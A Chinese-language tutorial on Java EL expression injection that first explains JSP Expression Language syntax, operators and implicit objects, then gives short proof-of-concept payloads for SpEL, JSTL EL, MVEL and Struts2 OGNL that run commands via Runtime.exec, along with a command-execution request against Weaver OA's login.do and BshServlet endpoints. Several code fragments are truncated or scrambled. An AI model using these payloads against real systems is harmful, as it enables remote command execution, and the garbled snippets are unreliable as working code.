EL表达式注入
主要功能
EL表达式主要功能如下
[!NOTE]
获取数据:EL
表达式主要用于替换JSP
页面中的脚本表达式, 以从各种类型的Web
域中检索Java
对象、获取数据(某个Web
域中的对象, 访问JavaBean
的属性、访问List
集合、访问Map
集合、访问数组).执行运算: 利用
EL
表达式可以在JSP
页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP
页面中完成一些简单的逻辑运算, 例如${user==null}
.获取
Web
开发常用对象:EL
表达式定义了一些隐式对象, 利用这些隐式对象,Web
开发人员可以很轻松获得对Web
常用对象的引用, 从而获得这些对象中的数据.调用
Java
方法:EL
表达式允许用户开发自定义EL
函数, 以在JSP
页面中通过EL
表达式调用Java
类的方法.
特点
可得到PageContext
属性值.
[!NOTE]
可直接访问JSP
的内置对象, 如page
,request
,session
,application
等.运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.
扩展函数可与
JAVA
类的静态方法对应.
基本语法
所有EL表达式的格式都是以${}表示,例如 ${userinfo}代表获取变量userinfo的值.当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request,session,application范围查找,也可以用范围作为前缀表示属于哪个范围的变量,例如 ${pageScope.userinfo}表示访问page范围中的userinfo变量
[]与.运算符
当要存取的属性名称中包含一些特殊字符,如.或-等非字母或数字的符号,就一定要使用[],例如${user.My-Name}就要改为 ${user["myname"]}
如果要动态取值时, 就可以用[]
来做, 而.
无法做到动态取值, 例如:${sessionScope.user[data]}
中data
是一个变量.
变量
EL
表达式存取变量数据的方法很简单, 例如:${username}
. 它的意思是取出某一范围中名称为username
的变量. 因为我们并没有指定哪一个范围的username
, 所以它会依序从Page
、Request
、Session
、Application
范围查找. 假如途中找到username
, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传""
.
操作符
JSP
表达式语言提供以下操作符, 其中大部分是Java
中常用的操作符:
术语 | 定义 |
---|---|
算术型 | + 、- (二元)、* 、/ 、div 、% 、mod 、- (一元). |
逻辑型 | and 、&& 、or 、` |
关系型 | == 、eq 、!= 、ne 、< 、lt 、> 、gt 、<= 、le 、>= 、ge . 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较. |
空 | empty 空操作符是前缀操作, 可用于确定值是否为空. |
条件型 | A ? B : C . 根据A 赋值的结果来赋值B 或C . |
隐式对象
JSP
表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet
和表达式中可用:
术语 | 定义 |
---|---|
pageContext | JSP 页的上下文, 可以用于访问JSP 隐式对象, 如请求、响应、会话、输出、servletContext 等. 例如,${pageContext.response} 为页面的响应对象赋值. |
此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name) 获得).getParameter(String) 方法返回带有特定名称的参数. 表达式${param.name} 相当于request.getParameter(name) . |
paramValues | 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name) 获得). 它与param 隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name} 相当于request.getParamterValues(name) . |
header | 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name) 获得). 表达式${header.name} 相当于request.getHeader(name) . |
headerValues | 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String) 获得). 它与头隐式对象非常类似, 表达式${headerValues.name} 相当于request.getHeaderValues(name) . |
cookie | 将cookie 名称映射到单个cookie 对象. 向服务器发出的客户端请求可以获得一个或多个cookie . 表达式${cookie.name.value} 返回带有特定名称的第一个cookie 值. 如果请求包含多个同名的cookie , 则应该使用${headerValues.name} 表达式. |
initParam | 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name) 获得). |
除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文
、会话
、请求
、页面
:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值. 例如,EL 表达式可以使用${pageScope.objectName} 访问一个JSP 中页面范围的对象, 还可以使用${pageScope.objectName.attributeName} 访问对象的属性. |
requestScope | 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL 表达式可以使用${requestScope.objectName} 访问一个JSP 请求范围的对象, 还可以使用${requestScope.objectName.attributeName} 访问对象的属性. |
sessionScope | 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name} . |
applicationScope | 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象. |
函数
1 | ${ns:func(param1, param2, ...)} |
用el表达式调用函数必须使用taglib
引入你的标签库
调用Java方法
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
表达式注入实例
通用POC
1 | ${pageContext} |
Struts2 OGNL
1 | @[类全名(包括包路径)]@[方法名 | 值名],例如: |
实例代码
1 | ActionContext AC = ActionContext.getContext(); |
Spring SPEL
1 | String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")"; |
JSP JSTL_EL
1 | <spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> |
Elasticsearch MVEL
1 | String expression = "new java.lang.ProcessBuilder(/"calc/").start();"; |
泛微OA EL表达式注入
1 | login.do?message= .apache.commons.io.IOUtils |
或者POST
1 | message=(#_memberAccess="com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print( .apache.commons.io.IOUtils )).(#w.close())&cmd=whoami .OgnlContext ).(#w=#context.get( |
1 | POST /weaver/bsh.servlet.BshServlet |
字符串拼接绕过对字符串的检测
1 |
|